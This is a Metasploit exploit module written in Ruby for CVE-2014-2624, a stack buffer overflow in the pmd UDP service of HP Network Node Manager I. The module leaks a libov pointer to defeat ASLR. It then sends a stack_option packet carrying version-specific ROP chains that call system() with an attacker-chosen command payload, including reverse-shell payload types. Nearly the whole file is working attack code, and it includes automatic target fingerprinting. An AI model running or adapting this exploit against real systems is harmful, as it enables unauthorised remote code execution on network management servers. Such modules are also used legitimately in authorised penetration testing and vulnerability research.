228 lines
7.8 KiB
Ruby
228 lines
7.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::Udp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'HP Network Node Manager I PMD Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The
|
|
vulnerability exists in the pmd service, due to the insecure usage of functions like
|
|
strcpy and strcat while handling stack_option packets with user controlled data. In
|
|
order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from
|
|
the stack and finally build the ROP chain to avoid NX.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'd(-_-)b', # Vulnerability discovery
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2014-2624'],
|
|
['ZDI', '14-305']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00",
|
|
'Space' => 3000,
|
|
'DisableNops' => true,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd cmd_bash',
|
|
'RequiredCmd' => 'generic python perl openssl bash-tcp gawk'
|
|
}
|
|
},
|
|
'Arch' => ARCH_CMD,
|
|
'Platform' => 'unix',
|
|
'Targets' =>
|
|
[
|
|
['Automatic', {}],
|
|
['HP NNMi 9.10 / CentOS 5',
|
|
{
|
|
# ptr to .rodata with format specifier
|
|
#.rodata:0003BE86 aS_1 db '%s',0
|
|
'ov_offset' => 0x3BE86,
|
|
:rop => :rop_hp_nnmi_9_10
|
|
}
|
|
],
|
|
['HP NNMi 9.20 / CentOS 6',
|
|
{
|
|
# ptr to .rodata with format specifier
|
|
#.rodata:0003C2D6 aS_1 db '%s',0
|
|
'ov_offset' => 0x3c2d8,
|
|
:rop => :rop_hp_nnmi_9_20
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.20
|
|
'DisclosureDate' => 'Sep 09 2014',
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options([ Opt::RPORT(7426) ], self.class)
|
|
end
|
|
|
|
def check
|
|
header = [
|
|
0x2a5, # pmdmgr_init pkt
|
|
0x3cc, # signature
|
|
0xa0c, # signature
|
|
0xca8 # signature
|
|
].pack("V")
|
|
|
|
data = "\x00" * (0xfa4 - header.length)
|
|
|
|
pkt = header + data
|
|
|
|
connect_udp
|
|
udp_sock.put(pkt)
|
|
res = udp_sock.timed_read(8, 1)
|
|
if res.blank?
|
|
# To mitigate MacOSX udp sockets behavior
|
|
udp_sock.put(pkt)
|
|
res = udp_sock.timed_read(8)
|
|
end
|
|
disconnect_udp
|
|
|
|
if res.blank?
|
|
return Exploit::CheckCode::Unknown
|
|
elsif res.length == 8 && res.unpack("V").first == 0x2a5
|
|
return Exploit::CheckCode::Detected
|
|
else
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
connect_udp
|
|
# info leak with a "proto_tbl" packet
|
|
print_status("Sending a 'proto_tbl' request...")
|
|
udp_sock.put(proto_tbl_pkt)
|
|
|
|
res = udp_sock.timed_read(13964, 1)
|
|
if res.blank?
|
|
# To mitigate MacOSX udp sockets behavior
|
|
udp_sock.put(proto_tbl_pkt)
|
|
res = udp_sock.timed_read(13964)
|
|
end
|
|
|
|
if res.blank?
|
|
fail_with(Failure::Unknown, "Unable to get a 'proto_tbl' response...")
|
|
end
|
|
|
|
if target.name == 'Automatic'
|
|
print_status("Fingerprinting target...")
|
|
my_target = auto_target(res)
|
|
fail_with(Failure::NoTarget, "Unable to autodetect target...") if my_target.nil?
|
|
else
|
|
my_target = target
|
|
fail_with(Failure::Unknown, "Unable to leak libov base address...") unless find_ov_base(my_target, res)
|
|
end
|
|
|
|
print_good("Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...")
|
|
|
|
# exploit with a "stack_option_pkt" packet
|
|
udp_sock.put(stack_option_pkt(my_target, @ov_base))
|
|
|
|
disconnect_udp
|
|
end
|
|
|
|
def rop_hp_nnmi_9_10(ov_base)
|
|
rop = rand_text_alpha(775)
|
|
rop << [0x808d7c1].pack("V") # pop ebx ; pop ebp ; ret
|
|
rop << [ov_base + 0x481A8].pack("V") # ebx: libov .got
|
|
rop << [0x8096540].pack("V") # ptr to .data where user controlled string will be stored:
|
|
# "PMD Stack option specified, but stack not available (user_controlled)"
|
|
rop << [0x808d7c2].pack("V") # pop ebp # ret
|
|
rop << [0x08096540 + 4732].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
|
|
rop << [ov_base + 0x1D692].pack("V") # ptr to 'call _system' sequence:
|
|
#.text:0001D692 lea eax, [ebp+dest]
|
|
#.text:0001D698 push eax ; command
|
|
#.text:0001D699 call _system
|
|
rop
|
|
end
|
|
|
|
def rop_hp_nnmi_9_20(ov_base)
|
|
rop = rand_text_alpha(775)
|
|
rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret
|
|
rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack("V") # eax: ptr to 'call _system' sequence
|
|
#.text:0001DAE6 lea eax, [ebp+dest] (dest = -0x1028)
|
|
#.text:0001DAEC push eax ; command
|
|
#.text:0001DAED call _system
|
|
rop << [0x08097160].pack("V") # ebx: ptr to .data where user controlled string will be stored:
|
|
# "PMD Stack option specified, but stack not available (user_controlled)"
|
|
rop << rand_text_alpha(4) # ebp: padding
|
|
rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)
|
|
rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret
|
|
rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret
|
|
rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack("V") # eax: libov .got base
|
|
rop << rand_text_alpha(4) # ebx: padding
|
|
rop << [0x8097160 + 4764].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
|
|
rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)
|
|
rop << [0x805a58d].pack("V") # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got)
|
|
rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret ; (eax: call to system sequence from libov)
|
|
rop << [0x80528BC].pack("V") # jmp eax
|
|
|
|
rop
|
|
end
|
|
|
|
def stack_option_pkt(t, ov_base)
|
|
hdr = [0x2a9].pack("V") # stack_option packet
|
|
data = "-SA" # stack name (invalid one 'A')
|
|
data << ";" # separator
|
|
data << self.send(t[:rop], ov_base) # malformed stack options
|
|
data << payload.encoded
|
|
data << ";\n"
|
|
data << "\x00" * (0xfa4 - data.length - hdr.length)
|
|
|
|
hdr + data
|
|
end
|
|
|
|
def proto_tbl_pkt
|
|
hdr = [0x2aa].pack("V") # proto_tbl packet
|
|
data = "\x00" * (0xfa4 - hdr.length)
|
|
|
|
hdr + data
|
|
end
|
|
|
|
def base(address, offset)
|
|
address - offset
|
|
end
|
|
|
|
def find_ov_base(t, data)
|
|
print_status("Searching #{t.name} pointers...")
|
|
i = 0
|
|
data.unpack("V*").each do |int|
|
|
if base(int, t['ov_offset']) % 0x1000 == 0
|
|
print_status("Pointer 0x#{int.to_s(16)} found at offset #{i * 4}")
|
|
@ov_base = base(int, t['ov_offset'])
|
|
return true
|
|
end
|
|
i = i + 1
|
|
end
|
|
|
|
false
|
|
end
|
|
|
|
def auto_target(data)
|
|
targets.each do |t|
|
|
next if t.name == 'Automatic'
|
|
if find_ov_base(t, data)
|
|
return t
|
|
end
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
end
|